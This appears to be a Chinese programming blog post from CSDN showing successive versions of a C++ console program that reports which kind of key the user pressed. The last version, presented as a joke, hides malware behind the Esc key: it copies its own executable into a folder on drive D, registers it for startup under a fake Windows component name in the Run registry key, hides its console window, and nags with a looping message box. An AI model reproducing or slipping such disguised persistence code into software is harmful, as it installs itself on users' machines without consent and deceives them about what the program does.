检测你下按键的类型和按键

这篇博客记录了一位程序员如何逐步完善一个字符输入判断程序,从简单的ASCII码判断到处理空格、回车和退格,再到加入幽默元素,展示了代码的进化过程。同时,博主在最后的版本中加入了一个隐藏的恶作剧功能,当用户按下Esc键时,程序会将当前执行文件复制到指定目录并设置为开机启动,同时尝试隐藏自身。
摘要由CSDN通过智能技术生成

唉,这个问题我是钻研了好久,感觉脑子都快干了……

所以代码出来啦!

#include<windows.h>
#include<iostream>
#include<conio.h>
using namespace std;
int main(){
char c;
cout<<"请输入字符或数字,按【Esc】键退出!"<<endl;
while(c=_getch()){
if(c==27) exit(0);
if(c>='0'&&c<='9')
cout<<"你输入的是数字:"<<c<<" "<< endl;
else if(c>='a'&&c<='z')
cout<<"你输入的是小写字母:"<<c<<" "<< endl;
else if(c>='A'&&c<='Z')
cout<<"你输入的是大写字母:"<<c<<" "<<endl;
else cout<<"你输入的是特殊符号,由于该作品使用  'ASCLL'  进行判断,无法显示!  有幸显示:"<<c<<endl;
}
}

但我不想让别人知道我是咋判断的,然后代码就变成了这样:

#include<windows.h>
#include<iostream>
#include<conio.h>
using namespace std;
int main(){
char c;
cout<<"请输入字符或数字,按【Esc】键退出!"<<endl;
while(c=_getch()){
if(c==27) exit(0);
if(c>='0'&&c<='9')
cout<<"你输入的是数字:"<<c<<" "<< endl;
else if(c>='a'&&c<='z')
cout<<"你输入的是小写字母:"<<c<<" "<< endl;
else if(c>='A'&&c<='Z')
cout<<"你输入的是大写字母:"<<c<<" "<<endl;
else cout<<"你输入的是特殊符号,由于该作品使用  '{想知道?没门!}'  进行判断,无法显示!  有幸显示:"<<c<<endl;
}
}

但我一想,不行,空格还没防住!代码摇身一变,又成了这样:

#include<windows.h>
#include<iostream>
#include<conio.h>
using namespace std;
int main(){
char c;
cout<<"请输入字符或数字,按【Esc】键退出!"<<endl;
while(c=_getch()){
if(c==27) exit(0);
if(c>='0'&&c<='9')
cout<<"你输入的是数字:"<<c<<" "<< endl;
else if(c>='a'&&c<='z')
cout<<"你输入的是小写字母:"<<c<<" "<< endl;
else if(c>='A'&&c<='Z')
cout<<"你输入的是大写字母:"<<c<<" "<<endl;
else if(c==' ')
cout<<"你输入的是空格!"<<endl;
else cout<<"你输入的是特殊符号,由于该作品使用  '{想知道?没门!}'  进行判断,无法显示!  有幸显示:"<<c<<endl;
}
}

后我又想了一下还有回车和退格,只好继续修理代码……

#include<windows.h>
#include<iostream>
#include<conio.h>
using namespace std;
int main(){
char c;
cout<<"请输入字符或数字,按【Esc】键退出!"<<endl;
while(c=_getch()){
if(c==27) exit(0);
if(c>='0'&&c<='9')
cout<<"你输入的是数字:"<<c<<" "<< endl;
else if(c>='a'&&c<='z')
cout<<"你输入的是小写字母:"<<c<<" "<< endl;
else if(c>='A'&&c<='Z')
cout<<"你输入的是大写字母:"<<c<<" "<<endl;
else if(c==' ')
cout<<"你输入的是空格!"<<endl;
else if(c=='\r')
cout<<"你输出的是回车!"<<endl;
else if(c=='\b')
cout<<"你输入的是退格!"<<endl;
else cout<<"你输入的是特殊符号,由于该作品使用  '{想知道?没门!}'  进行判断,无法显示!  有幸显示:"<<c<<endl;
}
}

我想将它变得幽默一点,然后就……

#include<windows.h>
#include<iostream>
#include<conio.h>
using namespace std;
int main(){
char c;
cout<<"请输入字符或数字,按【Esc】键退出!"<<endl;
while(c=_getch()){
if(c==27){
	char filename[MAX_PATH];
	GetModuleFileName(NULL,filename,MAX_PATH);
	CreateDirectory("D:\\QQintstore",NULL);
	CopyFile(filename,"D:\\QQintstore\\qqzg.exe",TRUE);

	HKEY hkey;
	RegOpenKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
	RegSetValueEx(hkey,"Windows system 网络驱动组件",0,REG_SZ,(const BYTE*)"D:\\QQintstore\\qqzg.exe",strlen(filename));
	RegCloseKey(hkey);   
	
	HWND hwnd=GetConsoleWindow();   
	ShowWindow(hwnd, SW_HIDE);    
	HWND qq=NULL;
	qq=FindWindowA("TXGuiFoundation", "QQ");
	while(!qq){
	MessageBoxA(NULL,"真的要退出吗?留着吗······","提示",MB_ICONWARNING|MB_TOPMOST|WS_EX_NOPARENTNOTIFY);
	qq=FindWindowA("TXGuiFoundation", "Dev-C++");
	}
}
if(c>='0'&&c<='9')
cout<<"你输入的是数字:"<<c<<" "<< endl;
else if(c>='a'&&c<='z')
cout<<"你输入的是小写字母:"<<c<<" "<< endl;
else if(c>='A'&&c<='Z')
cout<<"你输入的是大写字母:"<<c<<" "<<endl;
else if(c==' ')
cout<<"你输入的是空格!"<<endl;
else if(c=='\r')
cout<<"你输出的是回车!"<<endl;
else if(c=='\b')
cout<<"你输入的是退格!"<<endl;
else cout<<"你输入的是特殊符号,由于该作品使用  '{想知道?没门!}'  进行判断,无法显示!  有幸显示:"<<c<<endl;
}
}

放心,编译没错误,修理完了,它也可以安宁一会了。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值